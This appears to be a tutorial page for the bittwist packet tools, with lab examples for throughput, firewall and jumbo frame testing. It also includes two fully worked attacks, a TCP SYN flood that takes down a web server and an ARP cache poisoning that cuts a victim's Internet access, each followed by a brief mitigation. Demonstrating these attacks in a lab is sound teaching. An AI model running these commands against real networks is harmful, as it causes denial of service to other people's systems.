Example 1: Throughput testing

In this example, we will illustrate steps to generate and send ICMP echo request packets at 1 Gbps line rate from source host X to destination host Y within a local area network. Tools required in this example are bittwist, bittwiste, and tcpdump.

X, source host IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, destination host IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [X] Create a pcap file containing an ICMP echo request packet with the correct source and destination MAC addresses: $ bittwiste -I icmp -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: icmp (ICMPv4 header template) output file: 1.pcap 1 packets (82 bytes) written

2. [X] Update the IP header to contain the correct source and destination IP addresses: $ bittwiste -I 1.pcap -O 2.pcap -T ip -s 192.168.1.10 -d 192.168.1.20 input file: 1.pcap output file: 2.pcap 1 packets (82 bytes) written

3. [X] Add 0x00 bytes of payload to fill the ICMP packet up to an MTU of 1500 bytes. This step is optional, but it helps reduce the overhead of sending a large number of small packets in quick succession, which may impact our target throughput: $ bittwiste -I 2.pcap -O 3.pcap -X 1476-1476:00 -L 4 -T icmp input file: 2.pcap output file: 3.pcap 1 packets (1554 bytes) written

4. [X] Send the packet once as an initial test. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 3.pcap sending packets through en1 sent = 1 packets, 12112 bits, 1514 bytes throughput = 63 pps, 0.7661 Mbps, 0.0008 Gbps elapsed time = 0.015809 seconds

5. [Y] Use tcpdump (we should leave tcpdump running on destination host prior to step 4 above) to check that the destination host is receiving the ICMP echo request and returning an ICMP echo reply: $ sudo tcpdump -n -i 1 'icmp' tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on en1, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:32:24.592116 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:32:24.592160 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480

6. [X] Now that we know the packet is successfully getting through, let's send the same packet repeatedly at a rate of 1 Gbps. We will terminate the sending process after sending 1 million packets: $ sudo bittwist -i 1 -l 1000000 -r 1000 3.pcap sending packets through en1 sent = 1000000 packets, 12112000000 bits, 1514000000 bytes throughput = 81654 pps, 988.9983 Mbps, 0.9890 Gbps elapsed time = 12.246735 seconds

7. [Y] As step 6 progresses, we should be able to observe a continuous stream of tcpdump output as shown below on destination host: 15:37:29.170632 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170633 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170633 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170634 IP 192.168.1.10 > 192.168.1.20: ICMP echo request, id 0, seq 0, length 1480 15:37:29.170636 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480 15:37:29.170639 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480 15:37:29.170641 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480 15:37:29.170643 IP 192.168.1.20 > 192.168.1.10: ICMP echo reply, id 0, seq 0, length 1480

The example above demonstrates how to generate and send ICMP echo request packets at a line rate of 1 Gbps within a local area network. By using tools like bittwist, bittwiste, and tcpdump, we were able to create and modify the packets, add payload for optimal transmission, and send them to the destination host. Such techniques and procedures are commonly employed for throughput testing purposes.

Example 2: Firewall testing

In this example, we will generate a set of IPv4 packets that include protocols not permitted by the firewall configuration on the destination host. Subsequently, we will verify the proper functioning of the firewall by monitoring its log output for packet drops. Tools required in this example are bittwist and bittwiste.

X, source host IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, destination host (nftables firewall) IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [Y] The destination host has the following firewall configuration to accept only IPv4 packets with TCP, UDP, or ICMP protocols: flush ruleset table inet filter { chain input { <truncated> ip protocol != {tcp, udp, icmp} log prefix "protocol-dropped " drop <truncated> drop } }

2. [X] Create a pcap file containing an IP packet with the correct source and destination MAC addresses: $ bittwiste -I ip -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: ip (IPv4 header template) output file: 1.pcap 1 packets (74 bytes) written

3. [X] Update the IP header to contain the correct source and destination IP addresses. In the same command, we will also repeat the packet for 100,000 times with each packet containing a random protocol number. Note that we are using `-P 1` to seed the random number generator with a fixed integer to allow for repeatable testing: $ bittwiste -I 1.pcap -O 2.pcap -P 1 -N 100000 -T ip -s 192.168.1.10 -d 192.168.1.20 -p rand input file: 1.pcap output file: 2.pcap 100001 packets (5000074 bytes) written Optional: Let's review the generated packets before the send. Note the random protocol numbers from the first 3 packets in the trace file: $ tcpdump -n -c 3 -r 2.pcap reading from file 2.pcap, link-type EN10MB (Ethernet) 01:10:39.422956 IP 192.168.1.10 > 192.168.1.20: ip-proto-66 0 01:10:39.422956 IP 192.168.1.10 > 192.168.1.20: ip-proto-39 0 01:10:39.422956 IP 192.168.1.10 > 192.168.1.20: ip-proto-37 0

4. [X] Send the IP packets at a rate of 1 packet per second, so that we can observe the live firewall log output more easily. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 -p 1 2.pcap sending packets through en1

5. [Y] Monitor the firewall log output on the destination host to confirm that the packets are being dropped correctly: $ tail -f /var/log/syslog <truncated> SRC=192.168.1.10 DST=192.168.1.20 LEN=20 TOS=0x00 PREC=0x00 TTL=64 ID=12930 DF PROTO=66 <truncated> SRC=192.168.1.10 DST=192.168.1.20 LEN=20 TOS=0x00 PREC=0x00 TTL=64 ID=12930 DF PROTO=39 <truncated> SRC=192.168.1.10 DST=192.168.1.20 LEN=20 TOS=0x00 PREC=0x00 TTL=64 ID=12930 DF PROTO=37

The example above demonstrates a firewall testing scenario where a destination host is subjected to a set of IPv4 packets containing protocols not allowed by its firewall rules. The testing methodology helps ensure the correctness of the firewall rules in filtering and protecting the network against unauthorized protocols.

Example 3: TCP SYN flood

In this example, we will demonstrate TCP SYN flood attack that will result in the destination host with Nginx web server and all its services to become irresponsive. Tools required in this example are bittwist and bittwiste.

This is a type of denial-of-service attack where an attacker overwhelms a destination host by sending a large number of TCP connection requests, consuming server resources and rendering it unable to handle legitimate requests.

X, attacker IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, victim (Nginx web server) IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [X] Create a pcap file containing a TCP SYN packet with the correct source and destination MAC addresses: $ bittwiste -I tcp -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: tcp (IPv4 TCP header template) output file: 1.pcap 1 packets (114 bytes) written

2. [X] Update the IP header to contain the correct source and destination IP addresses: $ bittwiste -I 1.pcap -O 2.pcap -T ip -s 192.168.1.10 -d 192.168.1.20 input file: 1.pcap output file: 2.pcap 1 packets (114 bytes) written

3. [X] Repeat the packet for 100,000 times and update the TCP header for each to contain random source port and random sequence number: $ bittwiste -I 2.pcap -O 3.pcap -N 100000 -T tcp -s rand -d 80 -q rand input file: 2.pcap output file: 3.pcap 100001 packets (9000114 bytes) written

4. [X] Send the TCP SYN packets. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 -s 1514 -l 0 -r 0 3.pcap sending packets through en1

5. [Y] SSH into the Nginx web server (we should do this prior to step 4 above) and use netstat to observe the incoming TCP SYN packets. Notice that it won't be long before we see the timeout message as the server becomes irresponsive due to the overwhelming number of incoming TCP SYN packets being received pending processing: $ watch -n 1 'netstat -atn' Every 1.0s: netstat -atn Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 192.168.1.20:80 192.168.1.10:26128 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:53078 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:53845 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:6590 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:23915 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:1276 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:52456 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:24402 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:12122 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:30038 SYN_RECV <truncated> tcp 0 0 192.168.1.20:80 192.168.1.10:57615 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:54535 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:3437 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:30824 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:35470 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:29305 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:13177 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:49124 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:20090 SYN_RECV tcp 0 0 192.168.1.20:80 192.168.1.10:13557 SYN_RECV tcp Timeout, server 192.168.1.20 not responding.

6. [X] Stop (CTRL+C) the send to allow the destination host to restore its services: $ sudo bittwist -i 1 -s 1514 -l 0 -r 0 3.pcap sending packets through en1 ^C sent = 3334994 packets, 40393447328 bits, 5049180916 bytes throughput = 81409 pps, 986.0291 Mbps, 0.9860 Gbps elapsed time = 40.965775 seconds

The example above showcases the potential impact of overwhelming a destination host with a large number of TCP connection requests. The attack effectively consumes server resources and renders the host and its services unresponsive.

An effective mitigation for TCP SYN flood attack is to implement TCP SYN cookies to allow servers to handle a large number of connection requests without maintaining excessive half-open connections. On a Linux system, `sysctl -n net.ipv4.tcp_syncookies` should output 1 to indicate that TCP SYN cookies protection is already enabled. If not, you can add `net.ipv4.tcp_syncookies=1` in your /etc/sysctl.conf followed by `sysctl -p` to enable the protection.

Example 4: ARP cache poisoning

In this example, we will deliberately disrupt Y's access to the Internet by poisoning its ARP cache. Tools required in this example are bittwist and bittwiste.

X, attacker (Linux) IP = 192.168.1.10, MAC = 00:00:00:aa:aa:aa Y, victim (Windows) IP = 192.168.1.20, MAC = 00:00:00:bb:bb:bb Z, gateway (ADSL router modem with 4-port switch) IP = 192.168.1.1, MAC = 00:00:00:cc:cc:cc [X] | [Z]---[Internet] | [Y]

1. [X] Create a pcap file containing an ARP packet with the correct source and destination MAC addresses: $ bittwiste -I arp -O 1.pcap -T eth -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: arp (ARP header template) output file: 1.pcap 1 packets (82 bytes) written

2. [X] Update the ARP header to contain a fake ARP reply, i.e. with a non-existent sender MAC address (00:00:00:dd:dd:dd), destined for Y from Z: $ bittwiste -I 1.pcap -O 2.pcap -T arp -o 2 -s 00:00:00:dd:dd:dd -p 192.168.1.1 -t 00:00:00:bb:bb:bb -q 192.168.1.20 input file: 1.pcap output file: 2.pcap 1 packets (82 bytes) written

3. [Y] Here is the current Y's ARP cache as printed on its command prompt before the attack: C:\>arp -a Interface: 192.168.1.20 --- 0x2 Internet Address Physical Address Type 192.168.1.1 00-00-00-cc-cc-cc dynamic

4. [X] Send the fake ARP reply packet. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -i 1 2.pcap sending packets through en1 trace file: 2.pcap sent = 1 packets, 336 bits, 42 bytes throughput = 38461 pps, 12.9231 Mbps, 0.0129 Gbps elapsed time = 0.000026 seconds

5. [Y] Here is the current Y's ARP cache as printed on its command prompt after the attack: C:\>arp -a Interface: 192.168.1.20 --- 0x2 Internet Address Physical Address Type 192.168.1.1 00-00-00-dd-dd-dd dynamic

From now on, Y will attempt to access the Internet through Z of which to its current knowledge, is located at 00:00:00:dd:dd:dd, a non-existent MAC address on the network. Consequently, Y will be unable to establish a connection with Z or access the Internet.

The example above illustrates how easily one can mount a surprisingly simple yet highly impactful attack that can bring an entire network down. Fortunately, ARP poisoning is limited to a single LAN, and safeguarding your network against this attack is a straightforward task by utilizing a static ARP cache.

Example 5: Verifying max. throughput

In this example, we demonstrate the process of verifying the maximum throughput achievable by your system using a single running instance of bittwist.

The resulting output shows the single thread performance of bittwist on a Linux system equipped with an Intel Core i7-13700K 5.4 GHz CPU. Prior to the test, we disable any active firewall software, e.g. nftables, and temporarily turn off the logging of martian packets that may be generated during the test by executing the command `sudo sysctl -w net.ipv4.conf.all.log_martians=0`.

1. Generate 10 million 1500 MTU loopback Ethernet packets: $ bittwiste -I eth -O 1.pcap -X 1500-1500:00 -N 10000000 -L 2 -T eth input file: udp (IPv4 UDP header template) output file: 1.pcap 10000001 packets (15300001554 bytes) written

2. Send the packets without rate limit onto the loopback interface. We use `taskset --cpu-list 0` to pin bittwist to the first CPU. `nice -20` gives bittwist the highest process scheduling priority: $ sudo taskset --cpu-list 0 nice -20 bittwist -i lo -r 0 1.pcap sending packets through lo sent = 10000001 packets, 121120012112 bits, 15140001514 bytes throughput = 1687142 pps, 20434.6707 Mbps, 20.4347 Gbps elapsed time = 5.927182 seconds

Example 6: Jumbo frame testing

In this example, we will illustrate steps to generate jumbo frames at 2.5 Gbps line rate from source host X to destination host Y within a local area network. Tools required in this example are bittwist, bittwiste, and tcpdump.

X, source host MAC = 00:00:00:aa:aa:aa Y, destination host MAC = 00:00:00:bb:bb:bb [X]---[Y]

1. [X and Y] Enable jumbo frame support. On a Linux system, you can use e.g. `sudo ip link set en1 mtu 9000`. On a Windows system, navigate to the advanced tab in the network adapter properties dialog, select `Jumbo Frame` from the property list, then set its value to 9KB MTU.

2. [X] Create a pcap file containing max. payload of 9000 bytes with the correct source and destination MAC addresses: $ bittwiste -I eth -O 1.pcap -X 9000-9000:00 -N 100000 -L 2 -T eth -t 0x88b5 -s 00:00:00:aa:aa:aa -d 00:00:00:bb:bb:bb input file: eth (Ethernet header template) output file: 1.pcap 100001 packets (903009054 bytes) written

3. [Y] Start tcpdump to capture the first 5 packets that we are about to send from source host: $ sudo tcpdump -i 1 -n -q -c 5 tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on en1, link-type EN10MB (Ethernet), snapshot length 262144 bytes

4. [X] Send the jumbo frames to the destination host. Note that `bittwist -d` can be used to check for available network interfaces: $ sudo bittwist -j -i 1 -c 100000 -l 0 -r 0 1.pcap sending packets through en1 sent = 100000 packets, 7211200000 bits, 901400000 bytes throughput = 34772 pps, 2507.4829 Mbps, 2.5075 Gbps elapsed time = 2.875872 seconds

5. [Y] We should be able to observe the jumbo frames captured by tcpdump, as shown below, noting the length of 9014:: 11:18:17.032211 00:00:00:aa:aa:aa > 00:00:00:bb:bb:bb, Unknown Ethertype (0x88b5), length 9014: 11:18:17.032211 00:00:00:aa:aa:aa > 00:00:00:bb:bb:bb, Unknown Ethertype (0x88b5), length 9014: 11:18:17.032211 00:00:00:aa:aa:aa > 00:00:00:bb:bb:bb, Unknown Ethertype (0x88b5), length 9014: 11:18:17.032211 00:00:00:aa:aa:aa > 00:00:00:bb:bb:bb, Unknown Ethertype (0x88b5), length 9014: 11:18:17.032211 00:00:00:aa:aa:aa > 00:00:00:bb:bb:bb, Unknown Ethertype (0x88b5), length 9014: